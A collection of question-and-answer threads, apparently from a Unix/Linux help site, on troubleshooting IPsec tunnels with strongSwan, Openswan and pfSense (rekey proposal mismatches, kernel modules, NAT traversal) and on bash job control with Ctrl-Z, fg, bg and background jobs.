Furthermore, I did ask for different algorithms inside of my swanctl configuration file.You have only done so for IKE, not for ESP/IPsec.I am having trouble understanding why the proposals do not match on rekeying if they do for the initial connection.That's a common misconception with IKEv2. The proposal that's negotiated for the CHILD_SA (IPsec SA) created during IKE_AUTH doesn't contain any key exchange methods (e.g. DH groups) because the keys are always derived from the key material of the IKE_SA. Therefore, if one peer (in your case pfSense) configures one or more DH groups (and doesn't include NONE as well) and the other (strongSwan) does not, this won't be a problem until that CHILD_SA is actually rekeyed and the key exchange methods have to be negotiated. The strongSwan doc on rekeying CHILD_SAs describes this as well. So what you want to configure on the strongSwan client is e.g. this: connections { gw-gw { ... children { net-net { ... esp_proposals = aes128gcm16-modp2048 } } ... } }
Context I have set up a site-to-site IPSec tunnel between a Raspberry Pi located in an office and a pfSense firewall in the cloud. I am using Strongswan for the Raspberry Pi side. Issue My tunnel establishes and works fine for a while, but when it has to rekey itself, the negotiation fails. Is there something obvious I am missing? Logs (Raspberry side) Initial connection raspberrypi charon[2422]: 09[IKE] received ESP_TFC_PADDING_NOT_SUPPORTED, not using ESPv3 TFC padding raspberrypi charon[2422]: 09[CFG] selected proposal: ESP:AES_CBC_128/HMAC_SHA2_256_128/NO_EXT_SEQ raspberrypi charon[2422]: 09[IKE] CHILD_SA net-net{1} established with SPIs c3eaa3c7_i c944ab71_o and TS RASPI_NET/24 === PFSENSE_NET/16 raspberrypi charon[2422]: 09[IKE] CHILD_SA net-net{1} established with SPIs c3eaa3c7_i c944ab71_o and TS RASPI_NET/24 === PFSENSE_NET/16Rekeying (that's where it goes wrong) raspberrypi charon[507]: 11[NET] received packet: from PFSENSE_IP[4500] to RASPI_LOCAL_IP[4500] (80 bytes) raspberrypi charon[507]: 11[ENC] parsed INFORMATIONAL request 153 [ D ] raspberrypi charon[507]: 11[IKE] received DELETE for ESP CHILD_SA with SPI ce632e5b raspberrypi charon[507]: 11[IKE] closing CHILD_SA net-net{1} with SPIs ccc38dd0_i (94042284 bytes) ce632e5b_o (5169556 bytes) and TS RASPI_NET/24 === PFSENSE_NET/16 raspberrypi charon[507]: 11[IKE] closing CHILD_SA net-net{1} with SPIs ccc38dd0_i (94042284 bytes) ce632e5b_o (5169556 bytes) and TS RASPI_NET/24 === PFSENSE_NET/16 raspberrypi charon[507]: 11[IKE] sending DELETE for ESP CHILD_SA with SPI ccc38dd0 raspberrypi charon[507]: 11[IKE] CHILD_SA closed raspberrypi charon[507]: 11[ENC] generating INFORMATIONAL response 153 [ D ] raspberrypi charon[507]: 11[NET] sending packet: from RASPI_LOCAL_IP[4500] to PFSENSE_IP[4500] (80 bytes) raspberrypi charon[507]: 12[NET] received packet: from PFSENSE_IP[4500] to RASPI_LOCAL_IP[4500] (80 bytes) raspberrypi charon[507]: 12[ENC] parsed INFORMATIONAL request 154 [ ] raspberrypi charon[507]: 12[ENC] generating INFORMATIONAL response 154 [ ] raspberrypi charon[507]: 12[NET] sending packet: from RASPI_LOCAL_IP[4500] to PFSENSE_IP[4500] (80 bytes) raspberrypi charon[507]: 06[NET] received packet: from PFSENSE_IP[4500] to RASPI_LOCAL_IP[4500] (640 bytes) raspberrypi charon[507]: 06[ENC] parsed CREATE_CHILD_SA request 155 [ N(ESP_TFC_PAD_N) SA No KE TSi TSr ] raspberrypi charon[507]: 06[IKE] received ESP_TFC_PADDING_NOT_SUPPORTED, not using ESPv3 TFC padding raspberrypi charon[507]: 06[CFG] received proposals: ESP:AES_GCM_16_256/MODP_2048/NO_EXT_SEQ, ESP:AES_GCM_12_256/MODP_2048/NO_EXT_SEQ, ESP:AES_GCM_8_256/MODP_2048/NO_EXT_SEQ, ESP:AES_GCM_16_128/MODP_2048/NO_EXT_SEQ, ESP:AES_CBC_128/HMAC_SHA2_256_128/MODP_2048/NO_EXT_SEQ raspberrypi charon[507]: 06[CFG] configured proposals: ESP:AES_GCM_16_128/AES_GCM_16_192/AES_GCM_16_256, ESP:AES_CBC_128/AES_CBC_192/AES_CBC_256/HMAC_SHA2_256_128/HMAC_SHA2_384_192/HMAC_SHA2_512_256/HMAC_SHA1_96/AES_XCBC_96/NO_EXT_SEQ raspberrypi charon[507]: 06[IKE] no acceptable proposal found raspberrypi charon[507]: 06[IKE] failed to establish CHILD_SA, keeping IKE_SA raspberrypi charon[507]: 06[ENC] generating CREATE_CHILD_SA response 155 [ N(NO_PROP) ] raspberrypi charon[507]: 06[NET] sending packet: from RASPI_LOCAL_IP[4500] to PFSENSE_IP[4500] (80 bytes) raspberrypi charon[507]: 01[JOB] CHILD_SA ESP/0xccc38dd0/RASPI_LOCAL_IP not found for rekey raspberrypi charon[507]: 08[JOB] CHILD_SA ESP/0xccc38dd0/RASPI_LOCAL_IP not found for rekeyWhat I have tried to do If I SSH to the Raspberry and run ipsec restart, the tunnel establishes again and works fine until the next rekeying. I am having trouble understanding why the proposals do not match on rekeying if they do for the initial connection. Furthermore, I did ask for different algorithms inside of my swanctl configuration file. I tried changing the configuration both sides, but it seems that the issue is always located on the side of the Raspberry (by the way, the pfSense is responder-only). Configuration files /etc/swanctl/conf.d/myfile.conf connections { gw-gw { local_addrs = RASPI_LAN_IP remote_addrs = PFSENSE_IP local { auth = psk id = RASPI_PUBLIC_IP } remote { auth = psk id = PFSENSE_IP } children { net-net { local_ts = RASPI_NET/24 remote_ts = PFSENSE_NET/16 start_action = start dpd_action = restart } } version = 2 dpd_delay = 60 mobike = no proposals = aes128-sha256-modp2048,default } }secrets { ike-1 { id-1 = RASPI_PUBLIC_IP id-2 = PFSENSE_IP secret = "MYPSK" } }pfSense Phase 1Phase 2
IPSec tunnel works until rekeying, then gets NO_PROPOSAL_CHOSEN
Linux xxx 2.6.32-042stab127.2 #1 SMP Thu Jan 4 16:41:44 MSK 2018 x86_64 GNU/LinuxThat is definitely not a standard Debian 9 kernel. For a vanilla Debian 9, you would expect a 4.9.x series kernel. Googling on the version number indicates this may be an old OpenVZ/Virtuozzo kernel based on RHEL 6. The kernel configuration is documented on that webpage, and indicates it should have the modules you need. Moreover, the kernel packages downloadable from that page definitely have the modules you need. You should probably contact your VPS provider's support to find out what is going on with your environment and why the kernel modules seem to be missing. Maybe their VPS environment initialization procedure has a bug...
I'm setting up IPSec VPN and I have met an error which upon searching I found the error actually means required kernel modules are missing. That prompted me to check that with lsmod and kmod list but both give an empty list. That sounds to me like there is no loaded kernel module (sounds strange and unlikely to me but I have no other explanations) and so I need to load them in case they are there but not loaded or install them in case they are not there. How do I do that? I operate Debian 9 Box with Strongswan 5.1 as IPSec VPN Software UPDATE The error I get is this one ipsec up conn-name establishing CHILD_SA conn-name generating CREATE_CHILD_SA request 937 [ SA No KE TSi TSr ] sending packet: from <MY IP>[500] to <DEST IP>[500] (496 bytes) received packet: from <DEST IP>[500] to <MY IP>[500] (352 bytes) parsed CREATE_CHILD_SA response 937 [ N(ESP_TFC_PAD_N) SA No KE TSi TSr ] received ESP_TFC_PADDING_NOT_SUPPORTED, not using ESPv3 TFC padding received netlink error: Protocol not supported (93) unable to add SAD entry with SPI c845df8d received netlink error: Protocol not supported (93) unable to add SAD entry with SPI 009fbcd3 unable to install inbound and outbound IPsec SA (SAD) in kernel failed to establish CHILD_SA, keeping IKE_SA sending DELETE for ESP CHILD_SA with SPI c845df8d generating INFORMATIONAL request 938 [ D ] sending packet: from <MY IP>[500] to <DEST IP>[500] (80 bytes) received packet: from <DEST IP>[500] to <MY IP>[500] (80 bytes) parsed INFORMATIONAL response 938 [ D ] establishing connection 'conn-name' failedOutput for: lsmod #lsmod Module Size Used byuname -a Linux xxx 2.6.32-042stab127.2 #1 SMP Thu Jan 4 16:41:44 MSK 2018 x86_64 GNU/Linuxalso cat /proc/modules is emptyIs this your own hardware, some virtualizationIt is a VPS actually so I have no control over the hardware
Install Linux Kernel modules
To use IPSec both sides needs some tools for key exchange. You can do key exchange manually but nobody does it. Protocol named ISAKMP/IKE used for key exchange. It uses udp/500. On *BSD systems racoon daemon is used for it. Since key exchange takes place at first connection and then keys are updated periodically you need to accept incoming udp/500 for IPSec to work. If you close udp/500 IPSec may detect it and use NAT traversal (https://en.wikipedia.org/wiki/NAT_traversal#IPsec) (udp/4500) which allows client not to accept incomming connections. This could be your case.
Today, I was monitoring my network accesses using Little Snitch and connecting to an Avast SecureVPN when Little Snitch warned me that it was blocking inbound attempts to contact /usr/sbin/racoon. I did my research and know that racoon is the IPsec IKE daemon, so I gather it has something to do with keys and IPsec, but if Avast is able to establish the VPN, why would racoon need to get involved? When the VPN is disconnected, racoon is no longer contacted. It seems like the inbound connection attempts are about 5 minutes apart.
Why does /usr/sbin/racoon require inbound connections when a VPN is active on MacOS Sierra
Assuming that the service file actually exists, you should be able to launch it with systemctl start ipsec. You'll need the appropriate USE flags for systemd as well, probably -- I'd suggest a systemd subprofile if you're not already using one.
My system is Gentoo 64bit, and is using systemd as the initialization system. After I migrated to systemd, I found there's not service to start ipsec. I tried to run /etc/init.d/ipsec, but it says it would only work with openrc. What is the corresponding service to start ipsec?
How to start ipsec on Gentoo after migrated to systemd?
On Linux and most other unices, IPsec and other network protocols up to the transport layer are implemented in the kernel. There are additional userland tools that handle key exchange; several implementations exist. The cryptographic algorithms are in crypto. The network protocols are spread around net/ipv4, net/ipv6 and net/xfrm.
Which package contains the implementation of IPsec and which package contains the implementation of encryption algorithms that IPsec uses for encryption? I need to use custom crytographic algorithms in IPsec, so I need to edit the implementations of these packages.
Which packages contain IPsec implementations and algorithms that use it for encryption?
TL-WVR3200L doesn't support IKEv2. As suggested by ecdsa, when I configuring keyexchange=ikev1, the problem was gone.
I have two private network. network Arouter: TL-WVR3200L public IP: 223.71.239.218 subnet: 192.168.1.0/24IPSec config:network Brouter: TL-WDR5620 public IP: 119.90.63.105 subnet: 192.168.100.0/24I setup strongswan on 192.168.100.102 with following config: config setup charondebug="all" uniqueids=yes strictcrlpolicy=noconn bgp-to-corp authby=secret leftid=119.90.63.105 leftsubnet=192.168.100.0/24 right=223.71.239.218 rightsubnet=192.168.1.0/24 ike=3des-md5-modp1024! esp=3des-md5! keyingtries=0 ikelifetime=1h lifetime=8h dpddelay=30 dpdtimeout=120 dpdaction=restart auto=startWhen I run ipsec start, I found the following error in /var/log/syslog:Can anyone explain why this happens?
strongswan: received NO_PROPOSAL_CHOSEN notify error
Have a look at /var/log/syslog, usually there is a trove of logs to be found there relating to ipsec. There used to be a (very) old bug talking with Windows on the other side due to inactivity...a simple ping in the background fixed that, or a patch); cannot remember the specifics though. Nevertheless, most firewalls have a default timeout rule where if the connection is inactive more than a certain time they will tear down the connection. However, it is supposed to be negotiated again, except if some parameter is off, or due to some odd compatibility problem.
There is an IPsec Tunnel created with OpenSwan that works perfectly well packets going through answers received etc until at some point in time traffic stops. I can regenerate the tunnel doing ipsec auto --down tunnelName ipsec auto --up tunnelNameBut eventually it will collapse again, sometimes after hours sometimes after days. I am not able to find any error messages for example in pluto.log that indicate that the tunnel collapsed, the last lines found are the ones reporting Quick_Mode entry. Our side: Ubuntu 14.04.4 LTS, Linux Openswan U2.6.38/K3.13.0-91-generic (netkey) Other side: SAP Router and unknown firewall I tapped this using tcpdump while the tunnel was not doing its job: 10:30:53.357186 IP us.isakmp > them.isakmp: isakmp: phase 1 I ident 10:30:53.384168 IP them.isakmp > us.isakmp: isakmp: phase 1 R ident 10:30:53.384880 IP us.isakmp > them.isakmp: isakmp: phase 1 I ident 10:30:53.425034 IP them.isakmp > us.isakmp: isakmp: phase 1 R ident 10:30:53.425770 IP us.isakmp > them.isakmp: isakmp: phase 1 I ident[E] 10:30:53.451727 IP them.isakmp > us.isakmp: isakmp: phase 1 R ident[E]10:32:01.089957 IP us > them: ESP(spi=0x6e51327d,seq=0x14b), length 100 10:32:02.089097 IP us > them: ESP(spi=0x6e51327d,seq=0x14c), length 100First part seems to be a succesful tunnel rekey negotiation second part two failing requests, or not? Netstat says that requests sent into the tunnel reach nothing more than SYN_SENT and then time out. Are there any other logs I could search as I am not allowed to debug the other end of the tunnel?
IPsec tunnel blocks after a while without error. Where to find details?
All of those things look completely normal. The SSH agent is started on login as part of your graphical desktop. Yes it doesn't care whether you have an Ethernet cable or not (nor should it). Yes it gets a random socket address every time. The Charon socket will be listening whenever Charon (the strongSwan daemon) is running. Whether it has any connections set up or not is irrelevant – if the overall service was configured to start on boot, it'll start on boot, just like Apache will start even if you don't really have a website yet. (If you're running Debian it indeed configures any newly installed service to start on boot, whether the admin wants it or not...) The two UDP listeners are IKE (the IPsec handshake protocol), which is literally Charon's job. If it's running, it'll listen for IKE packets. ICE-unix sockets are used by the X11 session manager (e.g. gnome-session), as the traditional X11 session management protocol is built on top of "Inter-Client Exchange" IPC system (not to be confused with the ICE from STUN/WebRTC which is a different thing). The one with a @ prefix is an abstract socket, which doesn't correspond to anything in the filesystem; abstract socket names don't necessarily look like paths at all. X11 uses both regular and abstract sockets for... legacy reasons. The nameless sockets are client sockets. The listener socket has a path – client sockets don't. But they'll show up in netstat because showing all sockets is what netstat does.
On a recently installed Debian system I noticed that every boot, even with no networking, a folder and empty socket file are generated in /tmp/ssh-(random_letters)/agent.xxx. On every boot the random letters assigned to the folder name and random numbers assigned to the socket file change. On this system there is no VPN or tunneling setup, but netstat shows a process for /var/run/charon.ctl listening on a unix 2 STREAM. It also shows ipsec-nat-t and isakmp listening over UDP for local address 0.0.0.0 and foreign address 0.0.0.0:*. If I run netstat -ap | grep (number assigned to empty socket file) it produces a bunch of matches running on unix 2 and 3. Examples: @/tmp/.ICE-unix/(number assigned to socket) x8/tmp/.ICE-unix/(number assigned to socket) x1All of them are preceded by reference to: (number assigned to socket)/x-session-manager. And then there are another 5 listings same format but no path referenced. All connected, stream. And one more connected for dgram. Is this normal?
Random SSH Agent Generates on Boot in tmp Directory Even with Networking Disabled
Based on the example you show, a quick hack would benot to replace , within (...) but to replace pkts, with pkts;giving : echo "sr_mesh_aws_21{24}: AES_CBC_256/HMAC_SHA1_96, 59189 bytes_i (469 pkts, 0s ago), 128238 bytes_o (431 pkts, 0s ago), rekeying in 32 minutes" | sed 's/pkts,/pkts;/g'NB : the echo ... part is just to simulate your command output.
I have line of ipsec statusall <conn_name> output. Depends on traffic flow it could be: sr_mesh_aws_22{10}: AES_CBC_256/HMAC_SHA2_256_128/MODP_1024, 0 bytes_i, 0 bytes_o, rekeying in 32 minutessometimes: sp_mesh_6_7{8}: AES_CBC_256/HMAC_SHA2_256_128, 336 bytes_i, 336 bytes_o (4 pkts, 15s ago), rekeying disabledor: sr_mesh_aws_21{24}: AES_CBC_256/HMAC_SHA1_96, 59189 bytes_i (469 pkts, 0s ago), 128238 bytes_o (431 pkts, 0s ago), rekeying in 32 minutesString format: conn_name{id}: algorithm, traffic in info, traffic out info, rekeying infoEverything would be easy parsable, but when the traffic start flow, extra information appears in the traffic in info or traffic out info fields between (...). Moreover there are 2 fields separated by the same ,! How to replace all , to ; inside all (...) if such exist? preferable simple shell tools: sed/awk/...
How to fix csv string format
Correct: A Different ipsec.conf where rigthsubnet become leftsubnet The statement leftsubnet is every a server at where you write a config, e.g you lan In this example: LAN1 Gateway, leftsubnet is 10.10.0.0/24 and rightsubnet is 10.20.0.0/24 LAN2 Gateway, leftsubnet is 10.20.0.0/24 and rightsubnet is 10.10.0.0/24
Is my first VPN, for testing this is my simple network scheme LAN1(private 10.10.0.0/24) --->VPN-----internet---<VPN---<LAN2(private 10.20.0.0/24)on /etc/ipsec.conf i use.. ... left=ippublicserver1 leftid=fqdnserverA leftsubnet=10.10.0.0/24 right=ippublicserver2 rightsubnet=10.20.0.0/24 ....My question is really simple..,on the serverB I have to use An IDENTICAL ipsec.conf A Different ipsec.conf where rigthsubnet become leftsubnet?I think..B, is correct?
ipsec on linux,a simple and fast question
You have already figured out that you need to patch your kernel sources as you have a very old version. Never versions already have the option. And I think that -current (what will become 12) have deprecated the option and supports NAT-T by default. So you need to figure out what kernel source version you have locally and are building from. When you know that then you can look for a patch-set which matches your sources. Earlier versions seems to be here: https://people.freebsd.org/~vanhu/NAT-T/ https://people.freebsd.org/~vanhu/NAT-T/patch-natt-7.2-2009-05-12.diff I found two later versions here (but no directory listing): http://people.freebsd.org/~bz/20110123-01-stable7-natt.diff http://people.freebsd.org/~bz/20110603-02-stable7-natt.diff I would try the latest version first. Make a copy of your sources and use the patch command. If it applies cleanly to your 7.3 sources you should be good to go. When the patches have been applied follow the steps for recompiling your kernel. For your purpose you need to enable these: options IPSEC device crypto options IPSEC_NAT_TYou can find the steps in the FreeBSD Handbook If the patch does not apply cleanly then look for other patchsets. The patches are fairly simple so it might be easier to add them manually. If you do not know how to do this - then you are much much better off upgrading your system. The pain of upgrading will be far lesser than learning how to program C to adapt the code :-)
I have a FreeBSD 7.3 server and I configured IPsec on it but now I need to put my server behind a NAT. I know in order to using NAT I should add IPsec_NAT_T to my kernel but the problem is IPsec_NAT_T is not built in and I must add patch to my kernel. How can I do that?
using IPsec behind NAT in freebsd 7.3
The documentation states "Starting in the Solaris 10 4/09 release, IPsec is managed by SMF." As you are using an older release, it is expected for ipsec not to show up as a service.
I'm running Solaris 10 v5/08. Running svcs -a | grep ipsec returns nothing, so I have reason to believe IPsec isn't installed (or isn't showing up for some other reason). How can I make sure it is installed and set up correctly?
Missing IPsec package in Solaris 10
It was a not-pached bug in the strongswan rpm package: https://bugzilla.redhat.com/show_bug.cgi?id=1574939 Fixed in strongswan-5.6.2-6.fc28, issue solved with system upgrade: dnf clean all dnf update
I'm getting a really strange issue on fresh Fedora 28 MATE with an IKEv2 IPSEC VPN. First thing: this VPN is currently used by some other clients (some windows and my old Fedora 26) with NO issue. Configuring it on a fresh installed Fedora 28 i can connect, but, from server, i get "random" DNS servers (random in the real way, the change from a connection to another and are random IP from random classes around the world): Logs show something like: May 9 14:22:30 localhost NetworkManager[783]: <info> [1525868550.0975] vpn-connection[0x55f878e58350,067f1bf4-0581-49a7-a18b-542b64fe8b7a,"VPN",0]: Data: Internal DNS: 144.202.1.204 May 9 14:22:30 localhost NetworkManager[783]: <info> [1525868550.0975] vpn-connection[0x55f878e58350,067f1bf4-0581-49a7-a18b-542b64fe8b7a,"VPN",0]: Data: Internal DNS: 80.203.1.204 May 9 14:22:30 localhost NetworkManager[783]: <info> [1525868550.0975] vpn-connection[0x55f878e58350,067f1bf4-0581-49a7-a18b-542b64fe8b7a,"VPN",0]: Data: Internal DNS: 112.90.1.204 May 9 14:22:30 localhost NetworkManager[783]: <info> [1525868550.0975] vpn-connection[0x55f878e58350,067f1bf4-0581-49a7-a18b-542b64fe8b7a,"VPN",0]: Data: Internal DNS: 16.82.1.204Trying to force on network manager the correct internal DNS everything work fine instead. I already googled searching for a bug or a known issue but i didn't found anything, someone has/had a similar issue?
strongswan get RANDOM dns
That's decided by the outbound IPsec policies and their priorities. You can see those with the ip xfrm policy command. When installing such policies, strongSwan uses higher priorities (lower numeric values) for more specific policies. For example, a packet addressed to 30.30.30.1 will use the SA created for the second_4a010001 connection (as long as the source address lies in 20.20.20.0/28) because /28 subnets will result in a higher priority than /24 subnets. However, packets addressed to 30.30.30.30 will use the SA created with the other connection because that address is not part of the /28 subnet.
i have 2 tunnels of ikev1, with overlapping in leftsubnet and rightsubnet ,how the packet that send know to which tunnel it forward to tunnel first_4a010003 whay is that and how i decide i nwhch tunnel the packet will forward? my configuration is : # cat /etc/ipsec.conf conn %default keyexchange=ikev1 authby=secret type=tunnel include ipsec.*.conf conn second_4a010001 left=50.50.50.11 # leftsubnet=20.20.20.0/28 right=50.50.50.50 rightsubnet=30.30.30.0/28 esp=aes128gcm64-aes128gcm128-aes128gcm96-modp2048 lifetime=9999s lifebytes=313032704 auto=route conn first_4a010003 left=10.10.10.11 leftsubnet=20.20.20.0/24 right=10.10.10.10 rightsubnet=30.30.30.0/24 esp=aes128-sha1-modp2048 lifetime=8000s lifebytes=313032704 auto=routewhen is send packet to 30.30.30.30 to which tunnel it will go? # route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 0.0.0.0 172.17.235.1 0.0.0.0 UG 1 0 0 eth0 10.10.10.0 0.0.0.0 255.255.255.0 U 0 0 0 eth2 20.20.20.0 0.0.0.0 255.255.255.0 U 0 0 0 eth5 50.50.50.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1# ip route default via 172.17.235.1 dev eth0 proto none metric 1 notify 10.10.10.0/24 dev eth2 proto kernel scope link src 10.10.10.11 20.20.20.0/24 dev eth5 proto kernel scope link src 20.20.20.20 linkdown 50.50.50.0/24 dev eth1 proto kernel scope link src 50.50.50.11 172.17.235.0/24 dev eth0 proto kernel scope link src 172.17.235.236
how overlapping subnet in 2 SA in strongswan determine which tunnel to go?
The easiest way is to run fg to bring it to the foreground: $ help fg fg: fg [job_spec] Move job to the foreground. Place the job identified by JOB_SPEC in the foreground, making it the current job. If JOB_SPEC is not present, the shell's notion of the current job is used. Exit Status: Status of command placed in foreground, or failure if an error occurs.Alternatively, you can run bg to have it continue in the background: $ help bg bg: bg [job_spec ...] Move jobs to the background. Place the jobs identified by each JOB_SPEC in the background, as if they had been started with `&'. If JOB_SPEC is not present, the shell's notion of the current job is used. Exit Status: Returns success unless job control is not enabled or an error occurs.If you have just hit Ctrl Z, then to bring the job back just run fg with no arguments.
I accidentally "stopped" my telnet process. Now I can neither "switch back" into it, nor can I kill it (it won't respond to kill 92929, where 92929 is the processid.) So, my question is, if you have a stopped process on linux command line, how do you switch back into it, or kill it, without having to resort to kill -9?
If you ^Z from a process, it gets "stopped". How do you switch back in?
From the 4BSD manual for csh:A ^Z takes effect immediately and is like an interrupt in that pending output and unread input are discarded when it is typed. There is another special key ^Y which does not generate a STOP signal until a program attempts to read(2) it. This can usefully be typed ahead when you have prepared some commands for a job which you wish to stop after it has read them.So, the purpose is to type multiple inputs while the first one is being processed, and have the job stop after they are done.
The full portion of the Bash man page which is applicable only says:If the operating system on which bash is running supports job control, bash contains facilities to use it. Typing the suspend character (typically ^Z, Control-Z) while a process is running causes that process to be stopped and returns control to bash. Typing the delayed suspend character (typically ^Y, Control-Y) causes the process to be stopped when it attempts to read input from the terminal, and control to be returned to bash. The user may then manipulate the state of this job, using the bg command to continue it in the background, the fg command to continue it in the foreground, or the kill command to kill it. A ^Z takes effect immediately, and has the additional side effect of causing pending output and typeahead to be discarded.I have never used Ctrl-Y; I only just learned about it. I have done fine with Ctrl-Z (suspend) only. I am trying to imagine what this option is for. When would it be useful? (Note that this feature doesn't exist on all Unix variants. It's present on Solaris and OpenBSD but not on Linux or FreeBSD. The corresponding setting is stty dsusp.) Perhaps less subjectively: Is there anything that can be accomplished with Ctrl-Y that cannot be accomplished just as easily with Ctrl-Z?
What is the purpose of delayed suspend (Ctrl-Y) in Bash?
Background processes which write to the terminal are only suspended if the TOSTOP output mode is set, which isn’t the case by default. Try stty tostop yes &and you’ll see that yes is suspended. Background processes which read from the terminal are suspended by default, because there’s no sensible way for them to get correct input. See the section on accessing the terminal in the GNU C library manual. With TOSTOP off, the terminal doesn’t crash or become stuck, it remains responsive to input; so you can stop the background yes by either killing it (kill % if it’s the only background job), or bringing it to the foreground (fg) and stopping it (CtrlC). You’ll have to enter commands blindly but they will work.
"Yes, and..." is a wonderful rule-of-thumb in improvisational comedy. Not so much in the UNIX world. When I run the admittedly silly yes& command, I cannot interrupt it. The terminal crashes or gets stuck into a loop. I expect the yes process to be suspended immediately, since any process in the background should suspend if attempting to write to stdout, but it doesn't seem to be the case, and I'm wondering why.
Why does "yes&" crash my Bash session?
Generally what I do is: Ctrl+Z fg && command2Ctrl+Z to pause it and let you type more in the shell. Optionally bg, to resume command1 in the background while you type out command2. fg && command2 to resume command1 in the foreground and queue up command2 afterwards if command1 succeeds. You can of course substitute ; or || for the && if you so desire.
I'm looking for something like command1 ; command2 i.e. how to run command2 after command1 but I'd like to plan execution of command2 when command1 is already running. It can be solved by just typing the command2 and confirming by Enter supposed that the command1 is not consuming standard input and that the command1 doesn't produce to much text on output making it impractical to type (typed characters are blended with the command1 output).
How to plan a task to run after another already running task in bash? [duplicate]
After a process is sent to the background with &, its PID can be retrieved from the variable $!. The job IDs can be displayed using the jobs command, the -l switch displays the PID as well. $ sleep 42 & [1] 5260 $ echo $! 5260 $ jobs -l [1] - 5260 running sleep 42Some kill implementations allow killing by job ID instead of PID. But a more sensible use of the job ID is to selectively foreground a particular process. If you start five processes in the background and want to foreground the third one, you can run the jobs command to see what processes you launched and then fg %3 to foreground the one with the job ID three.
As we know, the shell enables the user to run background processes using & at the command line's end. Each background process is identified by a job ID and, of course, by it's PID. When I'm executing a new job, the output is something like [1] 1234 (the second number is the process ID). Trying to invoke commands like stop 1 and stop %1 causes a failure message: stop: Unknown job: 1 Understanding that the stop command causes a job to be suspended, I was wondering how to get the job ID and do it right. If the only way to kill a job is by it's process ID, what is the purpose of the job ID?
How to get the Job ID? [duplicate]
By default the terminal will run the program in the foreground, so you won't end up back at the shell until the program has finished. This is useful for programs that read from stdin and/or write to stdout -- you generally don't want many of them running at once. If you want a program to run in the background, you can start it like this: $ lxpanel &Or if it's already running, you can suspend it with Ctrl+Z and then run bg to move it into the background. Either way you will end up with a new shell prompt, but the program is still running and its output will appear in the terminal (so it can suddenly show up while you're in the middle of typing) Some programs (typically daemons) will fork a separate process when they start, and then let the main process immediately exit. This lets the program keep running without blocking your shell
Sometimes you run a program from the terminal, say, lxpanel†. The terminal won't drop you back to the prompt, it'll hang. You can press Ctrl+C to get back to the prompt, but that will kill lxpanel. However, pressing Alt+F2 (which pops up a window to take a command) and running lxpanel works gracefully. Why is this? What is different between running a command from the terminal and from the 'run' window that appears when you press Alt+F2? † lxpanel here was just used as an example. I have experienced this with multiple programs
Why do some commands 'hang' the terminal until they've finished?
Could all 700 instances possibly run concurrently?That depends on what you mean by concurrently. If we're being picky, then no, they can't unless you have 700 threads of execution on your system you can utilize (so probably not). Realistically though, yes, they probably can, provided you have enough RAM and/or swap space on the system. UNIX and it's various children are remarkably good at managing huge levels of concurrency, that's part of why they're so popular for large-scale HPC usage.How far could I get until my server reaches its limit?This is impossible to answer concretely without a whole lot more info. Pretty much, you need to have enough memory to meet:The entire run-time memory requirements of one job, times 700. The memory requirements of bash to manage that many jobs (bash is not horrible about this, but the job control isn't exactly memory efficient). Any other memory requirements on the system.Assuming you meet that (again, with only 50GB of RAM, you still ahve to deal with other issues:How much CPU time is going to be wasted by bash on job control? Probably not much, but with hundreds of jobs, it could be significant. How much network bandwidth is this going to need? Just opening all those connections may swamp your network for a couple of minutes depending on your bandwidth and latency. Many other things I probably haven't thought of.When that limit is reached, will it just wait to begin the next iteration off foo or will the box crash?It depends on what limit is hit. If it's memory, something will die on the system (more specifically, get killed by the kernel in an attempt to free up memory) or the system itself may crash (it's not unusual to configure systems to intentionally crash when running out of memory). If it's CPU time, it will just keep going without issue, it'll just be impossible to do much else on the system. If it's the network though, you might crash other systems or services.What you really need here is not to run all the jobs at the same time. Instead, split them into batches, and run all the jobs within a batch at the same time, let them finish, then start the next batch. GNU Parallel (https://www.gnu.org/software/parallel/) can be used for this, but it's less than ideal at that scale in a production environment (if you go with it, don't get too aggressive, like I said, you might swamp the network and affect systems you otherwise would not be touching). I would really recommend looking into a proper network orchestration tool like Ansible (https://www.ansible.com/), as that will not only solve your concurrency issues (Ansible does batching like I mentioned above automatically), but also give you a lot of other useful features to work with (like idempotent execution of tasks, nice status reports, and native integration with a very large number of other tools).
I need to do some work on 700 network devices using an expect script. I can get it done sequentially, but so far the runtime is around 24 hours. This is mostly due to the time it takes to establish a connection and the delay in the output from these devices (old ones). I'm able to establish two connections and have them run in parallel just fine, but how far can I push that? I don't imagine I could do all 700 of them at once, surely there's some limit to the no. of telnet connections my VM can manage. If I did try to start 700 of them in some sort of loop like this: for node in `ls ~/sagLogs/`; do foo & doneWithCPU 12 CPUs x Intel(R) Xeon(R) CPU E5649 @ 2.53GHz Memory 47.94 GBMy question is:Could all 700 instances possibly run concurrently? How far could I get until my server reaches its limit? When that limit is reached, will it just wait to begin the next iteration off foo or will the box crash?I'm running in a corporate production environment unfortunately, so I can't exactly just try and see what happens.
What happens if I start too many background jobs?
$ bg [1]+ ./myscript.sh > output-07-JUL-16.txt 2>&1 & $ jobs [1]+ Stopped ./myscript.sh > output-07-JUL-16.txt 2>&1Running jobs -l will show more detail about your background jobs. In the case of your shell script, it will display something like the following, which reveals the reason why the job stopped: [1]+ 4274 Stopped (tty input) ./myscript.sh > output-07-JUL-16.txt 2>&1Something in your script is trying to read from the terminal. When a background job tries to read from its controlling terminal, it gets a SIGTTIN signal and stops. (Only the foreground job can read from the controlling terminal.) The cause: in your script, you have sudo ssh -q $i /tmp/access.shssh by default will try to read from its stdin. You can give ssh the -n option to tell it not to read from stdin. sudo ssh -n -q $i /tmp/access.sh
